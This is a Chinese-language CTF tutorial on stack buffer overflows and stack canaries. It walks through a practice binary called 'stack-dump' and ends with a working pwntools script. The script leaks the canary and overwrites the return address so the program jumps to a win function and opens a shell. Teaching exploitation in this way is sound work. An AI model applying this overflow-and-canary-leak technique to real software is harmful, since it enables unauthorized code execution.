一. 何谓安全
在pwn中,安全是关于人的。
- 假设人和电脑都不是坏蛋
- 假设内存区域的长度是正确的
二. 何谓利用
- 利用是攻击漏洞的过程
- 弹出一个shell
三. 栈溢出漏洞 :BOF
-
buffer 是什么?
内存开辟的一段空间,比如:char name[16] -
buffer overflow 是什么?
对buffer空间的超量输入,通常情况是淹没其返回地址rip。
eg: buffer overflow 代码片段char name[16] gets(name); or fgets(name, 32, stdin)
四. 相关汇编指令 : Assembly code
-
call:把rip入栈,再跳到call指令指向的地址执行代码
call <addr>相当于push指令和jmp指令的结合
push rip jmp <addr> -
leave:rsp指向rbp,从当前栈中弹出保存的rbp,此时rsp指向rip。
mov rsp, rbp // rsp = rbp pop rbp // rbp = old_rbp -
ret:从当前栈中弹出保存的rip,并跳转到rip指向的地址执行。
pop rax // rax = stored_rip call rax // jump rax
五. CANARY
Canary是防止栈溢出的一种保护措施,它是编译代码时由编译器在存储用户输入数据的buffer和返回地址rip之间随机放置的8字节随机数。在栈溢出漏洞中,若canary开启,通常需要泄露出canary的值,并在bof漏洞利用中把泄露出的canary考虑进去,放置回正确的位置。
六. 例题分析
1.在此分享一道例题:stack-dump,其中涉及的知识点有bof和canary。该binary有win函数,我们目标只需要调用win函数,即可获得shell。
2.首先我们来一起分析题目:
-
canary:从图中代码可知binary开启canary保护,并且canary放置在stack的rbp-0x18位置。所以泄露出canary的值是我们解题的目标之一。
-
栈地址:从第二段代码片段中可知,binary已经把栈上rbp-0x59的地址通过printf函数打印出来,进而可以通过该地址推算栈所有相关地址的值。
-
bof利用点:我们接着看蓝色方块内的代码片段,此处存在buffer overflow vulnerability,gets函数允许无限字节的输入,而buffer的长度仅为0x50,故此处可以人为构造payload,淹没rip的值,改变程序执行流程。
-
canary leaked: 我们接着分析上图红色方框内代码片段
- 指令 call fread 处我们可以输入canary在栈上的地址:canary_address 存放到栈上 rbp-0x50的位置。
- 上图右边的红色方框做了以下操作:把栈上rbp-0x50位置中存放的值(canary)拿出来,放置到栈上rbp-0x58的位置。再调用printf函数把rbp-0x58位置内的值(canary)打印出来。至此,我们便可获得canary。
-
我们把栈图画出来,如下所示。
-
Exploitation:
from pwn import *
win = 0x4012f6
p = process("./stack-dump")
'''
通过泄露的rbp-0x59处的地址,推算出rbp-0x18处canary的地址。
'''
p.recvuntil(b"pointer ")
leaked_addr = int(p.recvuntil(b"\n",drop = "True"),16)
print("leaked_addr: ", hex(leaked_addr))
canary_addr = leaked_addr + (0x59-0x18)
print("canary_addr: ", hex(canary_addr))
'''
通过上述6.2的canary leaked分析,获取canary的值。
'''
p.sendline(b"i")
p.sendlineafter(b"len: ",b"8")
p.sendline(p64(canary_addr))
p.sendline(b"d")
p.recvuntil(b': ')
stack_canary = p.recv(8)
print("stack_canary: ",stack_canary)
'''
通过上述6.2的bof利用点分析,布置栈,改变程序执行流程,重写rip使其指向win函数,获取系统shell。
'''
p.sendline(b'i')
p.sendline(b'1' + cyclic(55) + stack_canary + bytes(0x18) + p64(win))
p.sendline(b'1')
p.sendline(b'q')
p.interactive()
p.close()